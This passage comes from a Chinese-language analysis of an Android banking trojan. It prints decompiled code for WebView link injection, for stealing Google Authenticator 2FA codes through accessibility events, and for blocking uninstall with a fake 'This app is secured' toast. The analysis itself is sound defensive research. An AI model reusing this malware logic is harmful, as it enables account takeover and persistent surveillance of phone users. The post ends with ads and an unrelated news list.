if (Intrinsics.areEqual(currentInjectList$default.get(i).getPackage1(), BrowserActivity.Companion.getLastOpenedInject())) {
currentInjectList$default.remove((Object) currentInjectList$default.get(i));
}
if (i2 >= size) {
break;
}
i = i2;
}
}
settings2 = BrowserActivity.this.settings;
settings2.currentInjectList(currentInjectList$default);
BrowserActivity.Companion.setLastOpenedInject(null);
BrowserActivity browserActivity = BrowserActivity.this;
BrowserActivity browserActivity2 = browserActivity;
settings3 = browserActivity.settings;
BaseExtensionsKt.syncInjects(browserActivity2, settings3);
} catch (Exception unused) {
}
}
}
Intent intent2 = new Intent();
intent2.putExtra("act", intent);
BrowserActivity.this.setResult(-1, intent2);
BrowserActivity.this.finish();
}
}
super.onPageStarted(webView2, str, bitmap);
}
});
if (stringExtra != null) {
webView.loadUrl(stringExtra);
AppKt.log$default(this, "opened inject (" + ((Object) lastOpenedInject) + ')', null, Colors.INSTANCE.getGreen(), 2, null);
}
}
就是使用WebView加载了指定的链接来执行注入= =
2FA窃取
public TwoFactor(Engine engine) {
super(engine);
Intrinsics.checkNotNullParameter(engine, "engine");
this.triggers = CollectionsKt.listOf((Object[]) new Trigger[]{new Trigger.ByUIState(new UIState("com.google.android.apps.authenticator2", CollectionsKt.listOf("com.google.android.apps.authenticator.AuthenticatorActivity"))), new Trigger.ByCondition(new TwoFactor$triggers$1(engine))});
}
设置了触发条件
public boolean executeTaskOn(AccessibilityEvent event) {
Intrinsics.checkNotNullParameter(event, "event");
StringBuilder sb = new StringBuilder();
try {
LegacyAccessibility.getAllChildNodeText$default(LegacyAccessibility.INSTANCE, event.getSource(), false, new TwoFactor$executeTaskOn$1(this, sb), 2, null);
} catch (Exception e) {
AppKt.log$default(this, "2FA Err " + ExceptionsKt.stackTraceToString(e) + " plz report this accident", null, "red", 2, null);
}
AppKt.log$default(this, Intrinsics.stringPlus("2FA Codes ", sb), null, "green", 2, null);
this.settings.is2FARequested(false);
BuildersKt__Builders_commonKt.launch$default(CoroutineScopeKt.CoroutineScope(Dispatchers.getMain()), null, null, new TwoFactor$executeTaskOn$2(this, null), 3, null);
return true;
}
先执行了第一个子类,再执行第二个子类
public final void invoke2(AccessibilityNodeInfo it, AccessibilityNodeInfo accessibilityNodeInfo) {
CharSequence text;
Intrinsics.checkNotNullParameter(it, "it");
Pattern pattern = this.this$0.getPattern();
CharSequence text2 = it.getText();
if (text2 == null) {
}
if (pattern.matcher(text2).matches()) {
this.$codes.append(new StringBuilder().append((Object) ((accessibilityNodeInfo == null || (text = accessibilityNodeInfo.getText()) == null) ? "null" : text)).append(':').append((Object) it.getText()).append(',').toString());
}
}
这里有个正则匹配,^[0-9]{3} [0-9]{3}$
卸载保护
包括重置保护,删除保护,软件信息保护,主屏幕应用选择保护和卸载保护
这些保护都是用了一系列触发器,比如要查看AppInfo时
public boolean executeTaskOn(AccessibilityEvent event) {
Intrinsics.checkNotNullParameter(event, "event");
AppKt.log$default(this, "accessibility reset protection", null, Colors.INSTANCE.getRed(), 2, null);
BuildersKt__Builders_commonKt.launch$default(CoroutineScopeKt.CoroutineScope(Dispatchers.getMain()), null, null, new InfoProtection$executeTaskOn$1(this, null), 3, null);
BuildersKt__Builders_commonKt.launch$default(CoroutineScopeKt.CoroutineScope(Dispatchers.getMain()), null, null, new InfoProtection$executeTaskOn$2(this, null), 3, null);
return true;
}
首先点击返回键
public final Object invokeSuspend(Object obj) {
IntrinsicsKt.getCOROUTINE_SUSPENDED();
if (this.label == 0) {
ResultKt.throwOnFailure(obj);
AccessibilityExtensionsKt.back$default(this.this$0.getEngine().getBus(), 0, 0L, 3, null);
return Unit.INSTANCE;
}
throw new IllegalStateException("call to 'resume' before 'invoke' with coroutine");
}
然后Toast自己是安全的
public final Object invokeSuspend(Object obj) {
IntrinsicsKt.getCOROUTINE_SUSPENDED();
if (this.label == 0) {
ResultKt.throwOnFailure(obj);
Toast.makeText(this.this$0.getEngine().getContext(), "This app is secured", 0).show();
return Unit.INSTANCE;
}
throw new IllegalStateException("call to 'resume' before 'invoke' with coroutine");
}
HomeProtection里面还发送了admin info
public final Object invokeSuspend(Object obj) {
Object coroutine_suspended = IntrinsicsKt.getCOROUTINE_SUSPENDED();
int i = this.label;
if (i == 0) {
ResultKt.throwOnFailure(obj);
Pair[] pairArr = {TuplesKt.to("admin", "1")};
this.label = 1;
if (new Send(null, "admininfo", MapsKt.mutableMapOf(pairArr), 1, null).execute(this) == coroutine_suspended) {
return coroutine_suspended;
}
} else if (i != 1) {
throw new IllegalStateException("call to 'resume' before 'invoke' with coroutine");
} else {
ResultKt.throwOnFailure(obj);
}
return Unit.INSTANCE;
}
总结
该病毒实现了窃取双因子认证、链接注入、短信窃取等功能,但是一些传播功能还未实现,另外恶意行为过于明显,伪装不太够,应该是还在开发中。
防范方法
不要点击不明链接、下载安装不明APP
一旦APP有异常行为:例如本文开头的
参考
[1] 黑客骇入iCloud窃取裸照被判九年监禁 - 安全客,安全资讯平台
[2] F5 Labs Investigates MaliBot
[3] Manifest.Permission.ReorderTasks Field (Android) | Microsoft Docs
[4] Calendar | Android Developers
[5] Coroutines basics | Kotlin
end
招新小广告
ChaMd5 Venom 招收大佬入圈
新成立组IOT+工控+样本分析 长期招新
欢迎联系admin@chamd5.org
关注公众号:拾黑(shiheibook)了解更多
[广告]赞助链接:
四季很好,只要有你,文娱排行榜:https://www.yaopaiming.com/
让资讯触达的更精准有趣:https://www.0xu.cn/
随时掌握互联网精彩
- 1 共绘亚太下一个“黄金三十年” 7929196
- 2 山里藏价值6000亿元黄金?村民发声 7981424
- 3 微信或史诗级“瘦身” 内存有救了 7828711
- 4 中国主张成为G20峰会的一抹亮色 7736820
- 5 朝鲜将军队提升至战斗准备状态 7655334
- 6 男生解锁“滑步下泰山”技能 7541480
- 7 女教师被指出轨学生 校方通报 7405345
- 8 带96岁母亲酒店养老遭拉黑 男子发声 7356362
- 9 《小巷人家》全员告别 7289857
- 10 千年古镇“因网而变、因数而兴” 7145018